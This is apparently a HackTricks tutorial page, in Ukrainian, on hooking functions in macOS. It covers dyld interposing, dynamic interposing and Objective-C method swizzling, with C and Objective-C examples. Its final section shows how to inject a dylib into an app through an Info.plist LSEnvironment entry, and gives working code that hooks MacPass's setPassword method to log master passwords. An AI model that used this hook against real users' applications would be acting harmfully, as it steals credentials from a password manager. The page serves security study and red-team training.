19 KiB
Перехоплення функцій macOS
{% hint style="success" %}
Вивчайте та практикуйте взлом AWS: Навчання AWS Red Team Expert (ARTE) HackTricks
Вивчайте та практикуйте взлом GCP: Навчання GCP Red Team Expert (GRTE) HackTricks
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами на Twitter 🐦 @hacktricks_live.
- Поширюйте хакерські трюки, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв GitHub.
Перехоплення функцій
Створіть dylib з розділом __interpose
(__DATA___interpose
) (або розділом, позначеним як S_INTERPOSING
), що містить кортежі вказівників на функції, які посилаються на оригінальні та замінні функції.
Потім впровадьте dylib за допомогою DYLD_INSERT_LIBRARIES
(перехоплення повинно відбуватися до завантаження основного додатка). Очевидно, тут також застосовуються обмеження, які застосовуються до використання DYLD_INSERT_LIBRARIES
.
Перехоплення printf
{% tabs %} {% tab title="interpose.c" %} {% code title="interpose.c" overflow="wrap" %}
// gcc -dynamiclib interpose.c -o interpose.dylib
#include <stdio.h>
#include <stdarg.h>
int my_printf(const char *format, ...) {
//va_list args;
//va_start(args, format);
//int ret = vprintf(format, args);
//va_end(args);
int ret = printf("Hello from interpose\n");
return ret;
}
__attribute__((used)) static struct { const void *replacement; const void *replacee; } _interpose_printf
__attribute__ ((section ("__DATA,__interpose"))) = { (const void *)(unsigned long)&my_printf, (const void *)(unsigned long)&printf };
{% endcode %} {% endtab %}
{% tab title="hello.c" %}
//gcc hello.c -o hello
#include <stdio.h>
int main() {
printf("Hello World!\n");
return 0;
}
{% endtab %}
{% tab title="interpose2.c" %} {% code overflow="wrap" %}
// Just another way to define an interpose
// gcc -dynamiclib interpose2.c -o interpose2.dylib
#include <stdio.h>
#define DYLD_INTERPOSE(_replacement, _replacee) \
__attribute__((used)) static struct { \
const void* replacement; \
const void* replacee; \
} _interpose_##_replacee __attribute__ ((section("__DATA, __interpose"))) = { \
(const void*) (unsigned long) &_replacement, \
(const void*) (unsigned long) &_replacee \
};
int my_printf(const char *format, ...)
{
int ret = printf("Hello from interpose\n");
return ret;
}
DYLD_INTERPOSE(my_printf,printf);
{% endcode %} {% endtab %} {% endtabs %}
DYLD_INSERT_LIBRARIES=./interpose.dylib ./hello
Hello from interpose
DYLD_INSERT_LIBRARIES=./interpose2.dylib ./hello
Hello from interpose
{% hint style="warning" %}
Змінна середовища DYLD_PRINT_INTERPOSTING
може бути використана для налагодження перехоплення та виведе процес перехоплення.
{% endhint %}
Також слід зауважити, що перехоплення відбувається між процесом та завантаженими бібліотеками, воно не працює з кешем спільних бібліотек.
Динамічне перехоплення
Тепер також можливо динамічно перехопити функцію за допомогою функції dyld_dynamic_interpose
. Це дозволяє програмно перехопити функцію під час виконання, а не лише з початку.
Достатньо вказати кортежі функції, яку потрібно замінити, та функції заміщення.
struct dyld_interpose_tuple {
const void* replacement;
const void* replacee;
};
extern void dyld_dynamic_interpose(const struct mach_header* mh,
const struct dyld_interpose_tuple array[], size_t count);
Метод Swizzling
У ObjectiveC так викликається метод: [myClassInstance nameOfTheMethodFirstParam:param1 secondParam:param2]
Потрібен об'єкт, метод та параметри. І коли метод викликається, повідомлення відправляється за допомогою функції objc_msgSend
: int i = ((int (*)(id, SEL, NSString *, NSString *))objc_msgSend)(someObject, @selector(method1p1:p2:), value1, value2);
Об'єкт - someObject
, метод - @selector(method1p1:p2:)
, аргументи - value1, value2.
Слідуючи структурам об'єктів, можна дістатися до масиву методів, де імена та вказівники на код методу знаходяться.
{% hint style="danger" %}
Зверніть увагу, що оскільки методи та класи доступні за їхніми іменами, ця інформація зберігається в бінарному файлі, тому можливо отримати її за допомогою otool -ov </path/bin>
або class-dump </path/bin>
{% endhint %}
Доступ до сирого методу
Можливо отримати інформацію про методи, таку як ім'я, кількість параметрів або адресу, як у наступному прикладі:
{% code overflow="wrap" %}
// gcc -framework Foundation test.m -o test
#import <Foundation/Foundation.h>
#import <objc/runtime.h>
#import <objc/message.h>
int main() {
// Get class of the variable
NSString* str = @"This is an example";
Class strClass = [str class];
NSLog(@"str's Class name: %s", class_getName(strClass));
// Get parent class of a class
Class strSuper = class_getSuperclass(strClass);
NSLog(@"Superclass name: %@",NSStringFromClass(strSuper));
// Get information about a method
SEL sel = @selector(length);
NSLog(@"Selector name: %@", NSStringFromSelector(sel));
Method m = class_getInstanceMethod(strClass,sel);
NSLog(@"Number of arguments: %d", method_getNumberOfArguments(m));
NSLog(@"Implementation address: 0x%lx", (unsigned long)method_getImplementation(m));
// Iterate through the class hierarchy
NSLog(@"Listing methods:");
Class currentClass = strClass;
while (currentClass != NULL) {
unsigned int inheritedMethodCount = 0;
Method* inheritedMethods = class_copyMethodList(currentClass, &inheritedMethodCount);
NSLog(@"Number of inherited methods in %s: %u", class_getName(currentClass), inheritedMethodCount);
for (unsigned int i = 0; i < inheritedMethodCount; i++) {
Method method = inheritedMethods[i];
SEL selector = method_getName(method);
const char* methodName = sel_getName(selector);
unsigned long address = (unsigned long)method_getImplementation(m);
NSLog(@"Inherited method name: %s (0x%lx)", methodName, address);
}
// Free the memory allocated by class_copyMethodList
free(inheritedMethods);
currentClass = class_getSuperclass(currentClass);
}
// Other ways to call uppercaseString method
if([str respondsToSelector:@selector(uppercaseString)]) {
NSString *uppercaseString = [str performSelector:@selector(uppercaseString)];
NSLog(@"Uppercase string: %@", uppercaseString);
}
// Using objc_msgSend directly
NSString *uppercaseString2 = ((NSString *(*)(id, SEL))objc_msgSend)(str, @selector(uppercaseString));
NSLog(@"Uppercase string: %@", uppercaseString2);
// Calling the address directly
IMP imp = method_getImplementation(class_getInstanceMethod(strClass, @selector(uppercaseString))); // Get the function address
NSString *(*callImp)(id,SEL) = (typeof(callImp))imp; // Generates a function capable to method from imp
NSString *uppercaseString3 = callImp(str,@selector(uppercaseString)); // Call the method
NSLog(@"Uppercase string: %@", uppercaseString3);
return 0;
}
{% endcode %}
Зміна методу за допомогою method_exchangeImplementations
Функція method_exchangeImplementations
дозволяє змінити адресу реалізації однієї функції на іншу.
{% hint style="danger" %} Таким чином, коли викликається функція, виконується інша. {% endhint %}
{% code overflow="wrap" %}
//gcc -framework Foundation swizzle_str.m -o swizzle_str
#import <Foundation/Foundation.h>
#import <objc/runtime.h>
// Create a new category for NSString with the method to execute
@interface NSString (SwizzleString)
- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from;
@end
@implementation NSString (SwizzleString)
- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from {
NSLog(@"Custom implementation of substringFromIndex:");
// Call the original method
return [self swizzledSubstringFromIndex:from];
}
@end
int main(int argc, const char * argv[]) {
// Perform method swizzling
Method originalMethod = class_getInstanceMethod([NSString class], @selector(substringFromIndex:));
Method swizzledMethod = class_getInstanceMethod([NSString class], @selector(swizzledSubstringFromIndex:));
method_exchangeImplementations(originalMethod, swizzledMethod);
// We changed the address of one method for the other
// Now when the method substringFromIndex is called, what is really called is swizzledSubstringFromIndex
// And when swizzledSubstringFromIndex is called, substringFromIndex is really colled
// Example usage
NSString *myString = @"Hello, World!";
NSString *subString = [myString substringFromIndex:7];
NSLog(@"Substring: %@", subString);
return 0;
}
{% endcode %}
{% hint style="warning" %} У цьому випадку, якщо код реалізації легітимного методу перевіряє ім'я методу, він може виявити цей перехоплення та запобігти його виконанню.
Наступна техніка не має цього обмеження. {% endhint %}
Перехоплення методу за допомогою method_setImplementation
Попередній формат дивний, оскільки ви змінюєте реалізацію 2 методів один на одного. Використовуючи функцію method_setImplementation
, ви можете змінити реалізацію методу на інший.
Просто не забудьте зберегти адресу реалізації оригінального, якщо ви збираєтеся викликати його з нової реалізації перед її перезаписом, оскільки пізніше буде набагато складніше знайти цю адресу.
{% code overflow="wrap" %}
#import <Foundation/Foundation.h>
#import <objc/runtime.h>
#import <objc/message.h>
static IMP original_substringFromIndex = NULL;
@interface NSString (Swizzlestring)
- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from;
@end
@implementation NSString (Swizzlestring)
- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from {
NSLog(@"Custom implementation of substringFromIndex:");
// Call the original implementation using objc_msgSendSuper
return ((NSString *(*)(id, SEL, NSUInteger))original_substringFromIndex)(self, _cmd, from);
}
@end
int main(int argc, const char * argv[]) {
@autoreleasepool {
// Get the class of the target method
Class stringClass = [NSString class];
// Get the swizzled and original methods
Method originalMethod = class_getInstanceMethod(stringClass, @selector(substringFromIndex:));
// Get the function pointer to the swizzled method's implementation
IMP swizzledIMP = method_getImplementation(class_getInstanceMethod(stringClass, @selector(swizzledSubstringFromIndex:)));
// Swap the implementations
// It return the now overwritten implementation of the original method to store it
original_substringFromIndex = method_setImplementation(originalMethod, swizzledIMP);
// Example usage
NSString *myString = @"Hello, World!";
NSString *subString = [myString substringFromIndex:7];
NSLog(@"Substring: %@", subString);
// Set the original implementation back
method_setImplementation(originalMethod, original_substringFromIndex);
return 0;
}
}
{% endcode %}
Методологія атаки за допомогою підключення
На цій сторінці обговорюються різні способи підключення функцій. Однак вони включають виконання коду всередині процесу для атаки.
Для цього найпростішою технікою є впровадження Dyld через змінні середовища або перехоплення. Однак, я думаю, що це також можна зробити через впровадження процесу Dylib.
Проте обидва варіанти обмежені незахищеними бінарними файлами/процесами. Перевірте кожну техніку, щоб дізнатися більше про обмеження.
Проте атака за допомогою підключення функцій є дуже конкретною, зловмисник буде робити це, щоб викрасти чутливу інформацію зсередини процесу (якщо цього не зробити, то ви просто здійснюєте атаку впровадження процесу). І ця чутлива інформація може бути розміщена в завантажених користувачем додатках, таких як MacPass.
Таким чином, вектор атаки зловмисника буде полягати в тому, щоб знайти вразливість або зняти підпис програми, впровадити змінну середовища DYLD_INSERT_LIBRARIES
через Info.plist програми, додавши щось на зразок:
<key>LSEnvironment</key>
<dict>
<key>DYLD_INSERT_LIBRARIES</key>
<string>/Applications/Application.app/Contents/malicious.dylib</string>
</dict>
і потім перереєструвати додаток:
{% code overflow="wrap" %}
/System/Library/Frameworks/CoreServices.framework/Frameworks/LaunchServices.framework/Support/lsregister -f /Applications/Application.app
{% endcode %}
Додайте до цієї бібліотеки код підвищення привілеїв для витікання інформації: паролі, повідомлення...
{% hint style="danger" %} Зверніть увагу, що в новіших версіях macOS, якщо ви видалите підпис з бінарного файлу програми і він вже виконувався раніше, macOS більше не буде виконувати програму. {% endhint %}
Приклад бібліотеки
{% code overflow="wrap" %}
// gcc -dynamiclib -framework Foundation sniff.m -o sniff.dylib
// If you added env vars in the Info.plist don't forget to call lsregister as explained before
// Listen to the logs with something like:
// log stream --style syslog --predicate 'eventMessage CONTAINS[c] "Password"'
#include <Foundation/Foundation.h>
#import <objc/runtime.h>
// Here will be stored the real method (setPassword in this case) address
static IMP real_setPassword = NULL;
static BOOL custom_setPassword(id self, SEL _cmd, NSString* password, NSURL* keyFileURL)
{
// Function that will log the password and call the original setPassword(pass, file_path) method
NSLog(@"[+] Password is: %@", password);
// After logging the password call the original method so nothing breaks.
return ((BOOL (*)(id,SEL,NSString*, NSURL*))real_setPassword)(self, _cmd, password, keyFileURL);
}
// Library constructor to execute
__attribute__((constructor))
static void customConstructor(int argc, const char **argv) {
// Get the real method address to not lose it
Class classMPDocument = NSClassFromString(@"MPDocument");
Method real_Method = class_getInstanceMethod(classMPDocument, @selector(setPassword:keyFileURL:));
// Make the original method setPassword call the fake implementation one
IMP fake_IMP = (IMP)custom_setPassword;
real_setPassword = method_setImplementation(real_Method, fake_IMP);
}
{% endcode %}
Посилання
{% hint style="success" %}
Вивчайте та практикуйте хакінг AWS:Навчання HackTricks AWS Red Team Expert (ARTE)
Вивчайте та практикуйте хакінг GCP: Навчання HackTricks GCP Red Team Expert (GRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами на Twitter 🐦 @hacktricks_live.
- Поширюйте хакерські трюки, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв GitHub.